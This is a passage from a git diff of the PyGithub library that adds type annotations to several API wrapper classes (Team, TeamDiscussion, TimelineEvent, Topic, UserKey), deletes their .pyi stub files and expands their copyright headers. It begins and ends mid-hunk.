notification_setting + post_parameters = NotSet.remove_unset_items( + { + "name": name, + "description": description, + "permission": permission, + "privacy": privacy, + "parent_team_id": parent_team_id, + "notification_setting": notification_setting, + } ) + + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_teams(self): + def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /teams/{id}/teams `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` """ return github.PaginatedList.PaginatedList( github.Team.Team, @@ -363,10 +341,9 @@ def get_teams(self): None, ) - def get_discussions(self): + def get_discussions(self) -> PaginatedList[TeamDiscussion]: """ :calls: `GET /teams/{id}/discussions `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.TeamDiscussion.TeamDiscussion` """ return github.PaginatedList.PaginatedList( github.TeamDiscussion.TeamDiscussion, @@ -376,15 +353,13 @@ def get_discussions(self): headers={"Accept": Consts.mediaTypeTeamDiscussionsPreview}, ) - def get_members(self, role=github.GithubObject.NotSet): + def get_members(self, role: Opt[str] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /teams/{id}/members `_ - :param role: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - assert role is github.GithubObject.NotSet or isinstance(role, str), role - url_parameters = dict() - if role is not github.GithubObject.NotSet: + assert role is NotSet or isinstance(role, str), role + url_parameters: dict[str, Any] = {} + if role is not NotSet: assert role in ["member", "maintainer", "all"] url_parameters["role"] = role return github.PaginatedList.PaginatedList( @@ -394,19 +369,17 @@ def get_members(self, role=github.GithubObject.NotSet): url_parameters, ) - def get_repos(self): + def get_repos(self) -> PaginatedList[Repository]: """ :calls: `GET /teams/{id}/repos `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` """ return github.PaginatedList.PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/repos", None ) - def invitations(self): + def invitations(self) -> PaginatedList[NamedUser]: """ :calls: `GET /teams/{id}/invitations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ return github.PaginatedList.PaginatedList( github.NamedUser.NamedUser, @@ -416,87 +389,51 @@ def invitations(self): headers={"Accept": Consts.mediaTypeOrganizationInvitationPreview}, ) - def has_in_members(self, member): + def has_in_members(self, member: NamedUser) -> bool: """ :calls: `GET /teams/{id}/members/{user} `_ - :param member: :class:`github.NamedUser.NamedUser` - :rtype: bool """ assert isinstance(member, github.NamedUser.NamedUser), member - status, headers, data = self._requester.requestJson( - "GET", f"{self.url}/members/{member._identity}" - ) + status, headers, data = self._requester.requestJson("GET", f"{self.url}/members/{member._identity}") return status == 204 - def has_in_repos(self, repo): + def has_in_repos(self, repo: Repository) -> bool: """ :calls: `GET /teams/{id}/repos/{owner}/{repo} `_ - :param repo: :class:`github.Repository.Repository` - :rtype: bool """ assert isinstance(repo, github.Repository.Repository), repo - status, headers, data = self._requester.requestJson( - "GET", f"{self.url}/repos/{repo._identity}" - ) + status, headers, data = self._requester.requestJson("GET", f"{self.url}/repos/{repo._identity}") return status == 204 - def remove_membership(self, member): + def remove_membership(self, member: NamedUser) -> None: """ - :calls: `DELETE /teams/{team_id}/memberships/{username} ` - :param member: - :return: + :calls: `DELETE /teams/{team_id}/memberships/{username} `_ """ assert isinstance(member, github.NamedUser.NamedUser), member - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/memberships/{member._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/memberships/{member._identity}") - def remove_from_members(self, member): + def remove_from_members(self, member: NamedUser) -> None: """ This API call is deprecated. Use `remove_membership` instead: https://docs.github.com/en/rest/reference/teams#add-or-update-team-membership-for-a-user-legacy :calls: `DELETE /teams/{id}/members/{user} `_ - :param member: :class:`github.NamedUser.NamedUser` - :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/members/{member._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/members/{member._identity}") - def remove_from_repos(self, repo): + def remove_from_repos(self, repo: Repository) -> None: """ :calls: `DELETE /teams/{id}/repos/{owner}/{repo} `_ - :param repo: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(repo, github.Repository.Repository), repo - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/repos/{repo._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/repos/{repo._identity}") @property - def _identity(self): + def _identity(self) -> int: return self.id - def _initAttributes(self): - self._id = github.GithubObject.NotSet - self._members_count = github.GithubObject.NotSet - self._members_url = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._permission = github.GithubObject.NotSet - self._repos_count = github.GithubObject.NotSet - self._repositories_url = github.GithubObject.NotSet - self._slug = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._organization = github.GithubObject.NotSet - self._privacy = github.GithubObject.NotSet - self._parent = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "members_count" in attributes: # pragma no branch @@ -507,27 +444,23 @@ def _useAttributes(self, attributes): self._name = self._makeStringAttribute(attributes["name"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) + if "notification_setting" in attributes: # pragma no branch + self._notification_setting = self._makeStringAttribute(attributes["notification_setting"]) if "permission" in attributes: # pragma no branch self._permission = self._makeStringAttribute(attributes["permission"]) if "repos_count" in attributes: # pragma no branch self._repos_count = self._makeIntAttribute(attributes["repos_count"]) if "repositories_url" in attributes: # pragma no branch - self._repositories_url = self._makeStringAttribute( - attributes["repositories_url"] - ) + self._repositories_url = self._makeStringAttribute(attributes["repositories_url"]) if "slug" in attributes: # pragma no branch self._slug = self._makeStringAttribute(attributes["slug"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "organization" in attributes: # pragma no branch - self._organization = self._makeClassAttribute( - github.Organization.Organization, attributes["organization"] - ) + self._organization = self._makeClassAttribute(github.Organization.Organization, attributes["organization"]) if "privacy" in attributes: # pragma no branch self._privacy = self._makeStringAttribute(attributes["privacy"]) if "parent" in attributes: # pragma no branch - self._parent = self._makeClassAttribute( - github.Team.Team, attributes["parent"] - ) + self._parent = self._makeClassAttribute(github.Team.Team, attributes["parent"]) if "html_url" in attributes: self._html_url = self._makeStringAttribute(attributes["html_url"]) diff --git a/github/Team.pyi b/github/Team.pyi deleted file mode 100644 index 5e9beaa749..0000000000 --- a/github/Team.pyi +++ /dev/null @@ -1,76 +0,0 @@ -from typing import Any, Dict, Union - -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.NamedUser import NamedUser -from github.Organization import Organization -from github.Membership import Membership -from github.PaginatedList import PaginatedList -from github.Permissions import Permissions -from github.Repository import Repository -from github.TeamDiscussion import TeamDiscussion - -class Team(CompletableGithubObject): - def __repr__(self) -> str: ... - @property - def _identity(self) -> int: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def add_membership( - self, member: NamedUser, role: Union[str, _NotSetType] = ... - ) -> None: ... - def add_to_members(self, member: NamedUser) -> None: ... - def get_team_membership(self, member: Union[str, NamedUser]) -> Membership: ... - def add_to_repos(self, repo: Repository) -> None: ... - def get_repo_permission( - self, repo: Repository - ) -> Union[Permissions, _NotSetType]: ... - def update_team_repository(self, repo: Repository, permission: str) -> bool: ... - def delete(self) -> None: ... - @property - def description(self) -> str: ... - def edit( - self, - name: str, - description: Union[str, _NotSetType] = ..., - permission: Union[str, _NotSetType] = ..., - privacy: Union[str, _NotSetType] = ..., - ) -> None: ... - def get_teams(self) -> PaginatedList[Team]: ... - def get_discussions(self) -> PaginatedList[TeamDiscussion]: ... - def get_members( - self, role: Union[str, _NotSetType] = ... - ) -> PaginatedList[NamedUser]: ... - def get_repos(self) -> PaginatedList[Repository]: ... - def has_in_members(self, member: NamedUser) -> bool: ... - def has_in_repos(self, repo: Repository) -> bool: ... - @property - def id(self) -> int: ... - def invitations(self) -> PaginatedList[NamedUser]: ... - @property - def members_count(self) -> int: ... - @property - def members_url(self) -> str: ... - @property - def name(self) -> str: ... - @property - def organization(self) -> Organization: ... - @property - def permission(self) -> str: ... - @property - def privacy(self) -> str: ... - def remove_from_members(self, member: NamedUser) -> None: ... - def remove_from_repos(self, repo: Repository) -> None: ... - def remove_membership(self, member: NamedUser) -> None: ... - @property - def repos_count(self) -> int: ... - @property - def repositories_url(self) -> str: ... - def set_repo_permission(self, repo: Repository, permission: str) -> None: ... - @property - def slug(self) -> str: ... - @property - def url(self) -> str: ... - @property - def parent(self) -> Union[Team, _NotSetType]: ... - @property - def html_url(self) -> str: ... diff --git a/github/TeamDiscussion.py b/github/TeamDiscussion.py index 3501351ef0..5746b93d92 100644 --- a/github/TeamDiscussion.py +++ b/github/TeamDiscussion.py @@ -1,6 +1,26 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Chris McBride # +# Copyright 2017 Simon # +# Copyright 2018 Benoit Latinier # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 Yossarian King # +# Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,181 +40,131 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any import github.GithubObject import github.NamedUser +from github.GithubObject import Attribute, CompletableGithubObject, NotSet -class TeamDiscussion(github.GithubObject.CompletableGithubObject): +class TeamDiscussion(CompletableGithubObject): """ This class represents TeamDiscussions. The reference can be found here https://docs.github.com/en/rest/reference/teams#discussions """ - def __repr__(self): - return self.get__repr__( - {"number": self._number.value, "title": self._title.value} - ) - - @property - def author(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def _initAttributes(self) -> None: + self._author: Attribute[github.NamedUser.NamedUser] = NotSet + self._body: Attribute[str] = NotSet + self._body_html: Attribute[str] = NotSet + self._body_version: Attribute[str] = NotSet + self._comments_count: Attribute[int] = NotSet + self._comments_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._html_url: Attribute[str] = NotSet + self._last_edited_at: Attribute[datetime] = NotSet + self._node_id: Attribute[str] = NotSet + self._number: Attribute[int] = NotSet + self._pinned: Attribute[bool] = NotSet + self._private: Attribute[bool] = NotSet + self._team_url: Attribute[str] = NotSet + self._title: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"number": self._number.value, "title": self._title.value}) + + @property + def author(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._author) return self._author.value @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def body_html(self): - """ - :type: string - """ + def body_html(self) -> str: self._completeIfNotSet(self._body_html) return self._body_html.value @property - def body_version(self): - """ - :type: string - """ + def body_version(self) -> str: self._completeIfNotSet(self._body_version) return self._body_version.value @property - def comments_count(self): - """ - :type: integer - """ + def comments_count(self) -> int: self._completeIfNotSet(self._comments_count) return self._comments_count.value @property - def comments_url(self): - """ - :type: string - """ + def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def last_edited_at(self): - """ - :type: datetime.datetime - """ + def last_edited_at(self) -> datetime: self._completeIfNotSet(self._last_edited_at) return self._last_edited_at.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property - def number(self): - """ - :type: integer - """ + def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property - def pinned(self): - """ - :type: bool - """ + def pinned(self) -> bool: self._completeIfNotSet(self._pinned) return self._pinned.value @property - def private(self): - """ - :type: bool - """ + def private(self) -> bool: self._completeIfNotSet(self._private) return self._private.value @property - def team_url(self): - """ - :type: string - """ + def team_url(self) -> str: self._completeIfNotSet(self._team_url) return self._team_url.value @property - def title(self): - """ - :type: string - """ + def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def _initAttributes(self): - self._author = github.GithubObject.NotSet - self._body = github.GithubObject.NotSet - self._body_html = github.GithubObject.NotSet - self._body_version = github.GithubObject.NotSet - self._comments_count = github.GithubObject.NotSet - self._comments_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._last_edited_at = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._number = github.GithubObject.NotSet - self._pinned = github.GithubObject.NotSet - self._private = github.GithubObject.NotSet - self._team_url = github.GithubObject.NotSet - self._title = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch - self._author = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["author"] - ) + self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "body_html" in attributes: # pragma no branch @@ -210,9 +180,7 @@ def _useAttributes(self, attributes): if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "last_edited_at" in attributes: # pragma no branch - self._last_edited_at = self._makeDatetimeAttribute( - attributes["last_edited_at"] - ) + self._last_edited_at = self._makeDatetimeAttribute(attributes["last_edited_at"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "number" in attributes: # pragma no branch diff --git a/github/TeamDiscussion.pyi b/github/TeamDiscussion.pyi deleted file mode 100644 index cb0acfad9d..0000000000 --- a/github/TeamDiscussion.pyi +++ /dev/null @@ -1,44 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser - -class TeamDiscussion(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def author(self) -> NamedUser: ... - @property - def body(self) -> str: ... - @property - def body_html(self) -> str: ... - @property - def body_version(self) -> str: ... - @property - def comments_count(self) -> int: ... - @property - def comments_url(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - def html_url(self) -> str: ... - @property - def last_edited_at(self) -> datetime: ... - @property - def node_id(self) -> str: ... - @property - def number(self) -> int: ... - @property - def pinned(self) -> bool: ... - @property - def private(self) -> bool: ... - @property - def team_url(self) -> str: ... - @property - def title(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/TimelineEvent.py b/github/TimelineEvent.py index f2687b9969..252dc711a4 100644 --- a/github/TimelineEvent.py +++ b/github/TimelineEvent.py @@ -1,6 +1,25 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Aaron Levine # +# Copyright 2017 Mike Miller # +# Copyright 2018 Darragh Bailey # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # # Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,127 +39,90 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser import github.TimelineEventSource +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class TimelineEvent(github.GithubObject.NonCompletableGithubObject): +class TimelineEvent(NonCompletableGithubObject): """ This class represents IssueTimelineEvents. The reference can be found here https://docs.github.com/en/rest/reference/issues#timeline """ - def __repr__(self): + def _initAttributes(self) -> None: + self._actor: Attribute[github.NamedUser.NamedUser] = NotSet + self._commit_id: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._event: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._node_id: Attribute[str] = NotSet + self._commit_url: Attribute[str] = NotSet + self._source: Attribute[github.TimelineEventSource.TimelineEventSource] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property - def actor(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def actor(self) -> github.NamedUser.NamedUser: return self._actor.value @property - def commit_id(self): - """ - :type: string - """ + def commit_id(self) -> str: return self._commit_id.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def event(self): - """ - :type: string - """ + def event(self) -> str: return self._event.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: return self._id.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: return self._node_id.value @property - def commit_url(self): - """ - :type: string - """ + def commit_url(self) -> str: return self._commit_url.value @property - def source(self): - """ - :type: :class:`github.TimelineEventSource.TimelineEventSource` - """ + def source(self) -> github.TimelineEventSource.TimelineEventSource | None: # only available on `cross-referenced` events. - if ( - self.event == "cross-referenced" - and self._source is not github.GithubObject.NotSet - ): + if self.event == "cross-referenced" and self._source is not NotSet: return self._source.value return None @property - def body(self): - """ - :type string - """ - if self.event == "commented" and self._body is not github.GithubObject.NotSet: + def body(self) -> str | None: + if self.event == "commented" and self._body is not NotSet: return self._body.value return None @property - def author_association(self): - """ - :type string - """ - if ( - self.event == "commented" - and self._author_association is not github.GithubObject.NotSet - ): + def author_association(self) -> str | None: + if self.event == "commented" and self._author_association is not NotSet: return self._author_association.value return None @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value - def _initAttributes(self): - self._actor = github.GithubObject.NotSet - self._commit_id = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._event = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._commit_url = github.GithubObject.NotSet - self._source = github.GithubObject.NotSet - self._body = github.GithubObject.NotSet - self._author_association = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actor" in attributes: # pragma no branch - self._actor = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["actor"] - ) + self._actor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["actor"]) if "commit_id" in attributes: # pragma no branch self._commit_id = self._makeStringAttribute(attributes["commit_id"]) if "created_at" in attributes: # pragma no branch @@ -160,8 +142,6 @@ def _useAttributes(self, attributes): if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "author_association" in attributes: # pragma no branch - self._author_association = self._makeStringAttribute( - attributes["author_association"] - ) + self._author_association = self._makeStringAttribute(attributes["author_association"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/TimelineEvent.pyi b/github/TimelineEvent.pyi deleted file mode 100644 index 7367783881..0000000000 --- a/github/TimelineEvent.pyi +++ /dev/null @@ -1,33 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser -from github.TimelineEventSource import TimelineEventSource - -class TimelineEvent(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def actor(self) -> NamedUser: ... - @property - def commit_id(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - def event(self) -> str: ... - @property - def id(self) -> int: ... - @property - def node_id(self) -> str: ... - @property - def commit_url(self) -> str: ... - @property - def source(self) -> Any[TimelineEventSource, None]: ... - @property - def body(self) -> Any[str, None]: ... - @property - def author_association(self) -> Any[str, None]: ... - @property - def url(self) -> str: ... diff --git a/github/TimelineEventSource.py b/github/TimelineEventSource.py index c64fd88f49..5ec1ecddf3 100644 --- a/github/TimelineEventSource.py +++ b/github/TimelineEventSource.py @@ -1,6 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # # Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,40 +35,39 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.Issue +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.Issue import Issue -class TimelineEventSource(github.GithubObject.NonCompletableGithubObject): +class TimelineEventSource(NonCompletableGithubObject): """ This class represents IssueTimelineEventSource. The reference can be found here https://docs.github.com/en/rest/reference/issues#timeline """ - def __repr__(self): + def _initAttributes(self) -> None: + self._type: Attribute[str] = NotSet + self._issue: Attribute[Issue] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"type": self._type.value}) @property - def type(self): - """ - :type: string - """ + def type(self) -> str: return self._type.value @property - def issue(self): - """ - :type: :class:`github.Issue.Issue` - """ + def issue(self) -> Issue: return self._issue.value - def _initAttributes(self): - self._type = github.GithubObject.NotSet - self._issue = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "issue" in attributes: # pragma no branch - self._issue = self._makeClassAttribute( - github.Issue.Issue, attributes["issue"] - ) + self._issue = self._makeClassAttribute(github.Issue.Issue, attributes["issue"]) diff --git a/github/TimelineEventSource.pyi b/github/TimelineEventSource.pyi deleted file mode 100644 index 8a7d31d109..0000000000 --- a/github/TimelineEventSource.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.Issue import Issue - -class TimelineEventSource(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def type(self) -> str: ... - @property - def issue(self) -> Issue: ... diff --git a/github/Topic.py b/github/Topic.py index eb3c428ffa..79ebf0391f 100644 --- a/github/Topic.py +++ b/github/Topic.py @@ -1,6 +1,23 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,116 +37,86 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from datetime import datetime +from typing import Any -class Topic(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class Topic(NonCompletableGithubObject): """ This class represents topics as used by https://github.com/topics. The object reference can be found here https://docs.github.com/en/rest/reference/search#search-topics """ - def __repr__(self): + def _initAttributes(self) -> None: + self._name: Attribute[str] = NotSet + self._display_name: Attribute[str] = NotSet + self._short_description: Attribute[str] = NotSet + self._description: Attribute[str] = NotSet + self._created_by: Attribute[str] = NotSet + self._released: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._featured: Attribute[bool] = NotSet + self._curated: Attribute[bool] = NotSet + self._score: Attribute[float] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value @property - def display_name(self): - """ - :type: string - """ + def display_name(self) -> str: return self._display_name.value @property - def short_description(self): - """ - :type: string - """ + def short_description(self) -> str: return self._short_description.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: return self._description.value @property - def created_by(self): - """ - :type: string - """ + def created_by(self) -> str: return self._created_by.value @property - def released(self): - """ - :type: string - """ + def released(self) -> str: return self._released.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: return self._updated_at.value @property - def featured(self): - """ - :type: bool - """ + def featured(self) -> bool: return self._featured.value @property - def curated(self): - """ - :type: bool - """ + def curated(self) -> bool: return self._curated.value @property - def score(self): - """ - :type: float - """ + def score(self) -> float: return self._score.value - def _initAttributes(self): - self._name = github.GithubObject.NotSet - self._display_name = github.GithubObject.NotSet - self._short_description = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._created_by = github.GithubObject.NotSet - self._released = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._featured = github.GithubObject.NotSet - self._curated = github.GithubObject.NotSet - self._score = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "display_name" in attributes: # pragma no branch self._display_name = self._makeStringAttribute(attributes["display_name"]) if "short_description" in attributes: # pragma no branch - self._short_description = self._makeStringAttribute( - attributes["short_description"] - ) + self._short_description = self._makeStringAttribute(attributes["short_description"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "created_by" in attributes: # pragma no branch diff --git a/github/Topic.pyi b/github/Topic.pyi deleted file mode 100644 index f8a35a564f..0000000000 --- a/github/Topic.pyi +++ /dev/null @@ -1,32 +0,0 @@ -import datetime - -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class Topic(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def name(self) -> str: ... - @property - def display_name(self) -> str: ... - @property - def short_description(self) -> str: ... - @property - def description(self) -> str: ... - @property - def created_by(self) -> str: ... - @property - def released(self) -> str: ... - @property - def created_at(self) -> datetime.datetime: ... - @property - def updated_at(self) -> datetime.datetime: ... - @property - def featured(self) -> bool: ... - @property - def curated(self) -> bool: ... - @property - def score(self) -> float: ... diff --git a/github/UserKey.py b/github/UserKey.py index 5acfb5e7a5..ce08c1b6b9 100644 --- a/github/UserKey.py +++ b/github/UserKey.py @@ -10,6 +10,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,7 +36,10 @@ # # ################################################################################ +from typing import Any, Dict + import github.GithubObject +from github.GithubObject import Attribute class UserKey(github.GithubObject.CompletableGithubObject): @@ -37,64 +47,49 @@ class UserKey(github.GithubObject.CompletableGithubObject): This class represents UserKeys. The reference can be found here https://docs.github.com/en/rest/reference/users#keys """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = github.GithubObject.NotSet + self._key: Attribute[str] = github.GithubObject.NotSet + self._title: Attribute[str] = github.GithubObject.NotSet + self._url: Attribute[str] = github.GithubObject.NotSet + self._verified: Attribute[bool] = 